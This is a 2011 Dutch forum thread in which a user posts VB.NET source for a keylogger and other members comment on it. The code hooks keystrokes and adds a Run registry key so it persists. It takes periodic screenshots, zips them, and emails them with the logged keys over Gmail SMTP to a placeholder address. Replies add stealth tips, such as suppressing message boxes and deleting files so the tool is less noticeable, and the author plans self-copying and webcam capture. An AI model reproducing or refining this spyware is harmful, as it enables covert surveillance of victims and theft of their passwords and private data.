Auteur Topic: Soort keylogger vb.net open source  (gelezen 4576 keer)

0 leden en 1 gast bekijken dit topic.

slober

  • DigitalPlace Lid
  • *
  • Berichten: 39
  • Karma: 8
    • Bekijk profiel
Soort keylogger vb.net open source
« Gepost op: augustus 03, 2011, 01:46:46 am »
  • [+1]0
  • [-1]0
  • Ik ben een soort keylogger in elkaar aan het zetten met zoveel mogelijk snippets die ik tegenkom op het internet in vb.net en ik wou even al laten zien wat ik had =)

    naja niet het prog de code :p

    Imports System.Net.Mail
    Imports Microsoft.Win32
    Imports System
    Imports System.Drawing
    Imports System.Drawing.Graphics
    Imports System.Drawing.Imaging
    Imports System.IO
    Imports System.IO.Packaging

    Public Class Form1
        Dim a587Zehe69 As String
        Dim a As String
        Dim b As String
        Dim c As String
        Dim bif As String = Nothing
        Dim a2 As String = Nothing
        Dim number1 As String
        Dim su As String = Nothing
        Dim rand As New Random()
        Dim number = rand.Next(1, 19999)
        Dim run As String
        Dim append As String
        Dim WithEvents k As New Keyboard

        Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
            k.DiposeHook()

        End Sub

        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Try
                Dim oReg As RegistryKey = Registry.CurrentUser
                Dim oKey As RegistryKey = oReg.OpenSubKey("SoftwareMicrosoftWindowsCurrentVersionRun", True)
                oKey.SetValue("rundel1454", System.Environment.CurrentDirectory)
            Catch ex As Exception

            End Try
            Form3.Show()
            k.CreateHook()
        End Sub
        Private Sub k_down(ByVal key As String) Handles k.Down
            append &= key
            TextBox1.Text &= key
        End Sub
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Try
                My.Settings.a2 = My.Settings.a2 + su + 7
                My.Settings.Save()
                My.Settings.Reload()

                bif = su - 6

                Dim zipPath As String = System.Environment.CurrentDirectory + My.Settings.a2 + ".zip"
                bif = bif + 1
                Dim fileToAdd As String = System.Environment.CurrentDirectory + bif + ".jpeg"
                bif = bif + 1
                Dim fileToAdd1 As String = System.Environment.CurrentDirectory + bif + ".jpeg"
                bif = bif + 1
                Dim fileToAdd2 As String = System.Environment.CurrentDirectory + bif + ".jpeg"
                bif = bif + 1
                Dim fileToAdd3 As String = System.Environment.CurrentDirectory + bif + ".jpeg"
                bif = bif + 1
                Dim fileToAdd4 As String = System.Environment.CurrentDirectory + bif + ".jpeg"
                bif = bif + 1
                Dim fileToAdd5 As String = System.Environment.CurrentDirectory + bif + ".jpeg"


                Dim zip As Package = ZipPackage.Open(zipPath, _
                          IO.FileMode.OpenOrCreate, IO.FileAccess.ReadWrite)


                Dim uriFileName As String = fileToAdd.Replace(" ", "_")
                Dim uriFileName1 As String = fileToAdd1.Replace(" ", "_")
                Dim uriFileName2 As String = fileToAdd2.Replace(" ", "_")
                Dim uriFileName3 As String = fileToAdd3.Replace(" ", "_")
                Dim uriFileName4 As String = fileToAdd4.Replace(" ", "_")
                Dim uriFileName5 As String = fileToAdd5.Replace(" ", "_")


                Dim zipUri As String = String.Concat("/", _
                          IO.Path.GetFileName(uriFileName))
                Dim zipUri1 As String = String.Concat("/", _
                  IO.Path.GetFileName(uriFileName1))
                Dim zipUri2 As String = String.Concat("/", _
                  IO.Path.GetFileName(uriFileName2))
                Dim zipUri3 As String = String.Concat("/", _
                  IO.Path.GetFileName(uriFileName3))
                Dim zipUri4 As String = String.Concat("/", _
                  IO.Path.GetFileName(uriFileName4))
                Dim zipUri5 As String = String.Concat("/", _
                  IO.Path.GetFileName(uriFileName5))


                Dim partUri As New Uri(zipUri, UriKind.Relative)
                Dim partUri1 As New Uri(zipUri1, UriKind.Relative)
                Dim partUri2 As New Uri(zipUri2, UriKind.Relative)
                Dim partUri3 As New Uri(zipUri3, UriKind.Relative)
                Dim partUri4 As New Uri(zipUri4, UriKind.Relative)
                Dim partUri5 As New Uri(zipUri5, UriKind.Relative)
                Dim contentType As String = _
                          Net.Mime.MediaTypeNames.Application.Zip


                Dim pkgPart As PackagePart = _
                          zip.CreatePart(partUri, contentType, _
                          CompressionOption.Maximum)
                Dim pkgPart1 As PackagePart = _
                  zip.CreatePart(partUri1, contentType, _
                  CompressionOption.Maximum)
                Dim pkgPart2 As PackagePart = _
                  zip.CreatePart(partUri2, contentType, _
                  CompressionOption.Maximum)
                Dim pkgPart3 As PackagePart = _
                  zip.CreatePart(partUri3, contentType, _
                  CompressionOption.Maximum)
                Dim pkgPart4 As PackagePart = _
                  zip.CreatePart(partUri4, contentType, _
                  CompressionOption.Maximum)
                Dim pkgPart5 As PackagePart = _
                  zip.CreatePart(partUri5, contentType, _
                  CompressionOption.Maximum)



                Dim bites As Byte() = File.ReadAllBytes(fileToAdd)
                Dim bites1 As Byte() = File.ReadAllBytes(fileToAdd1)
                Dim bites2 As Byte() = File.ReadAllBytes(fileToAdd2)
                Dim bites3 As Byte() = File.ReadAllBytes(fileToAdd3)
                Dim bites4 As Byte() = File.ReadAllBytes(fileToAdd4)
                Dim bites5 As Byte() = File.ReadAllBytes(fileToAdd5)

                pkgPart.GetStream().Write(bites, 0, bites.Length)
                pkgPart1.GetStream().Write(bites1, 0, bites1.Length)
                pkgPart2.GetStream().Write(bites2, 0, bites2.Length)
                pkgPart3.GetStream().Write(bites3, 0, bites3.Length)
                pkgPart4.GetStream().Write(bites4, 0, bites4.Length)
                pkgPart5.GetStream().Write(bites5, 0, bites5.Length)


                zip.Close()
            Catch ex As Exception
                MsgBox("Error")


            End Try
            Try
                Dim smtpServer As New SmtpClient()

                Dim mail As New MailMessage()
                smtpServer.Credentials = New Net.NetworkCredential("UDER_GMAIL", "PASS_GMAIL") 'Username & Password to connect Gmail
                'Using Gmail
                smtpServer.Port = 587 'Port
                smtpServer.Host = "smtp.gmail.com" 'Gmail Smtp
                smtpServer.EnableSsl = True 'SSL Check
                mail = New MailMessage()
                mail.From = New MailAddress("hello@hello.com")
                mail.To.Add("MAIL TO")
                mail.Subject = "mail" 'Message Subject
                mail.Body = TextBox1.Text
                Dim oAttch As Net.Mail.Attachment = New Net.Mail.Attachment(System.Environment.CurrentDirectory + My.Settings.a2 + ".zip")
                mail.Attachments.Add(oAttch)
                smtpServer.Send(mail)

            Catch ex As Exception
                MsgBox("Error x20458BA")
            End Try

        End Sub

        Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
            SaveSetting(run)
        End Sub

        Private Sub SaveSetting(ByVal run As String)
            Throw New NotImplementedException
        End Sub

        Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

        End Sub
        Private Function fileexist(ByVal fp As String) As Boolean
            fileexist = False
            If System.IO.File.Exists(fp) Then
                Dim dr As DialogResult = MsgBox(fp & " file is already exist" & vbCrLf & " " & vbCrLf & "Do you want to replace an existing file with this one?", vbYesNo + vbExclamation, "File Exist")
                If dr = DialogResult.Yes Then
                    fileexist = True
                End If
            Else
                fileexist = True
            End If
        End Function

        Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick

            su = su + 1
            Try
                Dim bmpScreenShot As Bitmap
                Dim gfxScreenshot As Graphics

                bmpScreenShot = New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
                gfxScreenshot = Graphics.FromImage(bmpScreenShot)
                gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy)
                bmpScreenShot.Save(System.Environment.CurrentDirectory + su + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg)
                bmpScreenShot.Dispose()


            Catch ex As Exception


            End Try

        End Sub
    End Class


    ik ben nog van plan het hier en daar wat uit te breiden bv dat hij zichzelf nog kopieert en nog paar register sleutels aanmaakt naja ik ben al 3 dagen bezig met hier en daar wat dingen toe te voegen dus zeg even wat je er nu al van vind
    « Laatst bewerkt op: januari 01, 1970, 01:00:00 am door Guest »

    gertmenkel

    • Actief DigitalPlace Lid
    • **
    • Berichten: 1125
    • Karma: 131
      • Bekijk profiel
    Re: Soort keylogger vb.net open source
    « Reactie #1 Gepost op: augustus 03, 2011, 08:18:37 pm »
  • [+1]0
  • [-1]0
  • Ziet er goed uit, alleen misschien die msgbox in de functie fileexist weghalen? Meestal worden keyloggers gebruikt om ongezien dingen te achterhalen...
    Je kunt trouwens ook controleren of een bestand bestaat met IO.File.Exists(Bestandsnaam)
    Ook zie ik dat je zowel een textbox als een string gebruikt. Ik neem aan dat dit alleen om te debuggen is, maar door een watch in te stellen kun je in de IDE ook zien wat voor waarde een string heeft, dus ik zou hem weghalen.
    Misschien ook de bestanden verwijderen? Bespaart ruimte en valt minder op.

    Dat mail gedeelte lijkt me helemaal ge-copy-paste te zijn, ik raad aan om code over te typen, daar leer je echt meer van.

    Samen ziet het er goed uit.
    « Laatst bewerkt op: januari 01, 1970, 01:00:00 am door Guest »
    ThePirateBay AFK
    Bekijk de vrije en gratis documentaire!

    slober

    • DigitalPlace Lid
    • *
    • Berichten: 39
    • Karma: 8
      • Bekijk profiel
    Re: Soort keylogger vb.net open source
    « Reactie #2 Gepost op: augustus 04, 2011, 01:50:36 am »
  • [+1]0
  • [-1]0
  • ja ik zei al dat dit echt vol snippets zit de mail komt uit een mail system de screenshot van sreenhot prog en inzippen van inzip tool naja ik heb de afgelopen veel meer bijgeleert over alle functies

    heb ook al paar dingen  uitgehaald ik baseer me bv nu op een random naam bij register was ik +"/NAAM.exe" vergeten en nog een paar dingen ook timers wat aangepast  ja fileexist is voor debuggen en ja ik ga ook bestanden verwijderen  :p  niet dat ik me moet zorgen moet maken  maar zou idd minder opvallen ik probere er nu ook bv webcam shots in te zetten enzo
    en mis ook dat hij zichzelf kopieert nar random plaatsen voor als hoofd keylogger deleted word ofzo naja dit is echt ene heel erg leuk project =)

    en als er nog ti^ps zijn ik hoor het graag =)
    « Laatst bewerkt op: januari 01, 1970, 01:00:00 am door Guest »

    jyy

    • DigitalPlace Lid
    • *
    • Berichten: 347
    • Karma: 12
      • Bekijk profiel
    Re: Soort keylogger vb.net open source
    « Reactie #3 Gepost op: augustus 05, 2011, 12:52:22 am »
  • [+1]0
  • [-1]0
  • te zien aan het imports gedeelte is ook dat regelrechte copypasta.
    « Laatst bewerkt op: januari 01, 1970, 01:00:00 am door Guest »
    myH> take 50 (cycle "SPAM ")
    "SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM "

    slober

    • DigitalPlace Lid
    • *
    • Berichten: 39
    • Karma: 8
      • Bekijk profiel
    Re: Soort keylogger vb.net open source
    « Reactie #4 Gepost op: augustus 05, 2011, 12:18:58 pm »
  • [+1]0
  • [-1]0
  • Citaat van: "jyy"
    te zien aan het imports gedeelte is ook dat regelrechte copypasta.
    als je zou lezen zou je zien dat ik al zei dat het copy paste is -.-

    naja =) ik leer er wel mee bij :p
    « Laatst bewerkt op: januari 01, 1970, 01:00:00 am door Guest »

    Krent

    • DigitalPlace Lid
    • *
    • Berichten: 18
    • Karma: 1
      • Bekijk profiel
    Re: Soort keylogger vb.net open source
    « Reactie #5 Gepost op: augustus 06, 2011, 08:21:18 pm »
  • [+1]0
  • [-1]0
  • Dat: System.Environment.CurrentDirectory, werkt niet altijd goed ik heb het zelf eerst ook gedaan maar die waarde veranderd soms, dus ik gebruik nu my.apllication.info.directorypath
    « Laatst bewerkt op: januari 01, 1970, 01:00:00 am door Guest »